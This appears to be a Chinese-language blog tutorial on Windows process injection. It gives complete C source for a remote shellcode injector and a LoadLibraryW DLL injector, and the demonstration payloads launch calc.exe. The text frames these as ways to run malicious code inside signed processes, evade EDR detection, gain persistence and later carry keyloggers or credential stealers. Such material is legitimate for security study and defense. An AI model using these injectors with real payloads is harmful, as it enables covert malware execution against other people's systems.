知识卡片
-
代码注入的核心本质:突破Windows进程内存隔离机制,在目标进程的私有地址空间,强制执行我们的恶意代码,全程可无文件落地,不创建新进程。
-
注入技术类型:ShellCode直接注入/DLL模块注入、本地注入/远程跨进程注入、EDR绕过变种注入
-
代码注入的价值:进程伪装(继承合法进程的数字签名、信誉度、防火墙放行规则,绕过应用白名单和网络防护)、权限继承(注入到高权限进程,直接继承其安全令牌,无需额外提权操作)、无文件落地(全程内存操作,不写入硬盘)、持久化驻留(注入到explorer.exe、svchost.exe等开启自启动进程,开机自动上线)
-
DLL注入核心原理:利用Windows的LoadLibrary API,在远程进程中加载恶意DLL模块,执行DLLMain中的恶意代码
-
DLL注入与ShellCode注入的区别:Shellcode适合轻量上线,DLL适合复杂功能开发
详细讲解
正常来说双击运行木马exe,创建新进程会有全链路日志,父进程是explorer.exe特征很明显
代码注入就是将Payload,注入到正在跑的、合法的、有数字签名的进程里(如notepad.exe、chrome.exe、svchost.exe)
按照Windows的底层逻辑,每个进程在Windows里都有自己独立的虚拟地址空间,默认是互相隔离的,你的进程碰不到别人的内存。注入就是通过Windows API合法地突破这个隔离,给目标进程塞代码,并且让它执行。
一、向远程进程注入代码
首先要明确一个概念,这里的"远程"不是指跨网段主机,而是指跨进程。
-
第一步:拿到目标进程的进程句柄
要操作其他进程,首先要拿到Windows给的进程句柄,用的API就是
OpenProcess申请权限必须满足
最小权限原则,即只申请我们必须要用到的权限:-
PROCESS_VM_OPERATION:给远程进程申请/释放内存用 -
PROCESS_VM_WRITE:给远程进程写Shellcode用 -
PROCESS_VM_READ:读取远程内存,校验写入是否成功 -
PROCESS_CREATE_THREAD:创建远程线程执行代码用
而不是直接申请
PROCESS_ALL_ACCESS全权限(EDR直接标红) -
-
第二步:在目标进程里远程申请内存
我们需要在目标进程申请内存放我们的ShellCode,用的API就是
VirtualAllocEx这里要与
VirtualAlloc区分,没带Ex的API操作的是自己的进程申请内存同样有要求,不能直接申请
PAGE_EXECUTE_READWRITE(RWX)权限内存,直接申请可写可执行特征太明显,可以先申请PAGE_READWRITE(RW)可读可写权限,在将ShellCode写进去后,再用VirtualProtectEx改为PAGE_EXECUTE_READ(RX)可读可执行权限。 -
第三步:将ShellCode写入内存
进而就是将ShellCode写入内存了,这里用
WriteProcessMemory -
第四步:触发远程执行
最基础的方式就是用
CreateRemoteThread创建一个远程线程,让这个线程入口点指向写入的ShellCode内存地址。
二、实现代码注入
接下来我们就要根据上述步骤实现Windows x64环境下的远程Shellcode注入器
// 用途:Windows x64环境下 实战级远程Shellcode注入器 // 编译命令(MinGW):gcc injector.c -o injector.exe -s -w // 参数说明:-s 剥离符号表,减小体积,免杀;-w 屏蔽编译警告 #include <windows.h> #include <stdio.h> int main(int argc, char* argv[]) { // ====================== Shellcode ====================== unsigned char shellcode[] = "\x55\x48\x89\xe5\x48\x83\xec\x60\x48\x31\xdb\x65\x48\x8b\x1c\x25" "\x60\x00\x00\x00\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48" "\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xdc\x8b\x43\x3c\x48\x01\xd8\x8b" "\x80\x88\x00\x00\x00\x48\x01\xd8\x49\x89\xc5\x41\x8b\x4d\x18\x45" "\x8b\x75\x20\x49\x01\xde\xff\xc9\x41\x8b\x34\x8e\x48\x01\xde\x8b" "\x06\x3d\x57\x69\x6e\x45\x75\xee\x8b\x46\x04\x3d\x78\x65\x63\x00" "\x75\xe4\x45\x8b\x7d\x24\x49\x01\xdf\x41\x0f\xb7\x0c\x4f\x45\x8b" "\x7d\x1c\x49\x01\xdf\x41\x8b\x04\x8f\x48\x01\xd8\xeb\x0e\x59\xba" "\x01\x00\x00\x00\xff\xd0\x48\x83\xc4\x60\x5d\xc3\xe8\xed\xff\xff" "\xff\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; // ================================================================== // 变量定义 DWORD targetPID = 0; HANDLE hProcess = NULL; LPVOID remoteMemAddr = NULL; HANDLE hRemoteThread = NULL; SIZE_T bytesWritten = 0; DWORD oldProtect = 0; // 命令行参数处理,获取目标PID if (argc < 2) { // 改用纯ASCII字符避免编码问题 printf("[!] Usage: %s <Target Process PID>\n", argv[0]); printf("[!] Example: %s 1234\n", argv[0]); return 1; } targetPID = atoi(argv[1]); printf("[+] Target Process PID: %d\n", targetPID); // ====================== 第一步:拿进程句柄 ====================== // 最小权限原则,只申请必须的权限,避免EDR告警 hProcess = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_CREATE_THREAD, FALSE, targetPID ); if (hProcess == NULL) { printf("[!] OpenProcess failed! Error Code: %d\n", GetLastError()); return 1; } printf("[+] Successfully get process handle: 0x%p\n", hProcess); // ====================== 第二步:远程申请内存 ====================== // 先申请可读写(RW)权限,不直接申请可执行权限,免杀核心操作 remoteMemAddr = VirtualAllocEx( hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); if (remoteMemAddr == NULL) { printf("[!] VirtualAllocEx failed! Error Code: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } printf("[+] Successfully allocate remote memory, address: 0x%p\n", remoteMemAddr); // ====================== 第三步:写入Shellcode ====================== if (!WriteProcessMemory( hProcess, remoteMemAddr, shellcode, sizeof(shellcode), &bytesWritten )) { printf("[!] WriteProcessMemory failed! Error Code: %d\n", GetLastError()); VirtualFreeEx(hProcess, remoteMemAddr, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } printf("[+] Successfully write Shellcode, bytes: %zu/%zu\n", bytesWritten, sizeof(shellcode)); // ====================== 第四步:修改内存权限+执行 ====================== // 把内存权限从RW改成RX(可执行只读),遵循先写后执行原则 if (!VirtualProtectEx( hProcess, remoteMemAddr, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect )) { printf("[!] VirtualProtectEx failed! Error Code: %d\n", GetLastError()); VirtualFreeEx(hProcess, remoteMemAddr, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } printf("[+] Successfully change memory protection to PAGE_EXECUTE_READ\n"); // 创建远程线程,执行Shellcode hRemoteThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemAddr, NULL, 0, NULL ); if (hRemoteThread == NULL) { printf("[!] CreateRemoteThread failed! Error Code: %d\n", GetLastError()); VirtualFreeEx(hProcess, remoteMemAddr, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } printf("[+] Successfully create remote thread! Shellcode is executing...\n"); // 等待线程执行完成,清理痕迹 WaitForSingleObject(hRemoteThread, INFINITE); CloseHandle(hRemoteThread); VirtualFreeEx(hProcess, remoteMemAddr, 0, MEM_RELEASE); CloseHandle(hProcess); printf("[+] Injection completed! All resources cleaned up\n"); return 0; }
使用方法:
先打开记事本再用任务管理器找到目标进程的PID,然后在cmd里执行
ps //查看进程。找到记事本进程拿到PID165868
或者直接任务管理器

./injector.exe 165868
执行后就可以看到计算器已经弹出
ShellCode只适合轻量级上线,但是如果想要添加如键盘记录、凭证窃取、内网代理、端口转发等命令,开发ShellCode的难度会大大增加,并且功能可能还会不稳定,这个时候就要用到DLL了
Windows里几乎所有进程都会加载kernel32.dll这个系统库,我们需要的LoadLibraryA/W API就在里面。因为系统DLL的加载基址是固定的,所以LoadLibrary的地址,在所有进程里都是一样的。那我们就可以直接调用LoadLibrary,加载我们的恶意DLL了
步骤和ShellCode注入差不多
-
第一步:拿目标进程的句柄
也是用
OpenProcess -
第二步:远程申请内存
LoadLibrary需要一个参数:DLL文件的完整路径字符串
我们申请内存也是将这个路径字符串写进去,路径尽量用宽字符,也就是
LoadLibraryW,同时避免中文路径、特殊字符的问题 -
第三步:写入DLL路径到远程内存
和写入ShellCode一样,用
WriteProcessMemory写入内存 -
第四步:创建远程线程,入口点指向LoadLibrary的地址
线程入口函数写我们的
LoadLibrary的地址,线程一创建目标进程就会加载我们的DLL代码
四、DLL注入实现
DLL注入器
#include <windows.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char* argv[]) { // 将字符串参数转换为 DWORD 类型的 PID DWORD dwPid = (DWORD)atoi(argv[1]); const wchar_t* dllPath = L"C:\\Users\\28374\\Desktop\\RT\\injector\\tancalc.dll"; printf("=== DLL 注入===\n"); printf("[*] 目标 PID: %lu\n", dwPid); // --- 第一步:获取目标进程句柄 --- HANDLE hProcess = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION, FALSE, dwPid ); if (!hProcess) { printf("[!] 错误: 无法打开进程 (Error: %lu)。请检查 PID 是否正确或尝试以管理员权限运行。\n", GetLastError()); return -1; } // --- 第二步:在远程进程中申请内存 --- size_t pathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t); LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, pathSize, MEM_COMMIT, PAGE_READWRITE); if (!pRemoteBuf) { printf("[!] 错误: 远程内存分配失败。\n"); CloseHandle(hProcess); return -1; } // --- 第三步:写入 DLL 路径到远程内存 --- if (!WriteProcessMemory(hProcess, pRemoteBuf, dllPath, pathSize, NULL)) { printf("[!] 错误: 写入内存失败。\n"); VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE); CloseHandle(hProcess); return -1; } // --- 第四步:获取 LoadLibraryW 地址并创建远程线程 --- LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress( GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW" ); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, pRemoteBuf, 0, NULL); if (hThread) { printf("[+] 远程线程已启动,等待 DLL 加载...\n"); WaitForSingleObject(hThread, INFINITE); // 检查 LoadLibraryW 的返回值(即模块句柄) DWORD_PTR hLibModule = 0; if (GetExitCodeThread(hThread, (LPDWORD)&hLibModule) && hLibModule != 0) { printf("[+++] 注入成功!模块基址: 0x%p\n", (void*)hLibModule); } else { printf("[!] 注入失败:LoadLibrary 返回 NULL (可能是路径错误或缺少依赖)。\n"); } CloseHandle(hThread); } else { printf("[!] 错误: 无法创建远程线程 (Error: %lu)\n", GetLastError()); } // 清理释放 VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE); CloseHandle(hProcess); return 0; }
我们先编译一个同样用于启动计算器calc.exe的DLL程序
#include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WinExec("calc.exe", SW_SHOW); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
编译命令
gcc winjector.c -o winjector.exe -m64 gcc -shared -m64 -o tancalc.dll tancalc.c -lkernel32
使用方式
./winjector.exe [PID] 如:./winjector.exe 192000
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/%e4%bb%a3%e7%a0%81%e6%b3%a8%e5%85%a5%e6%8a%80%e6%9c%af/
共有 0 条评论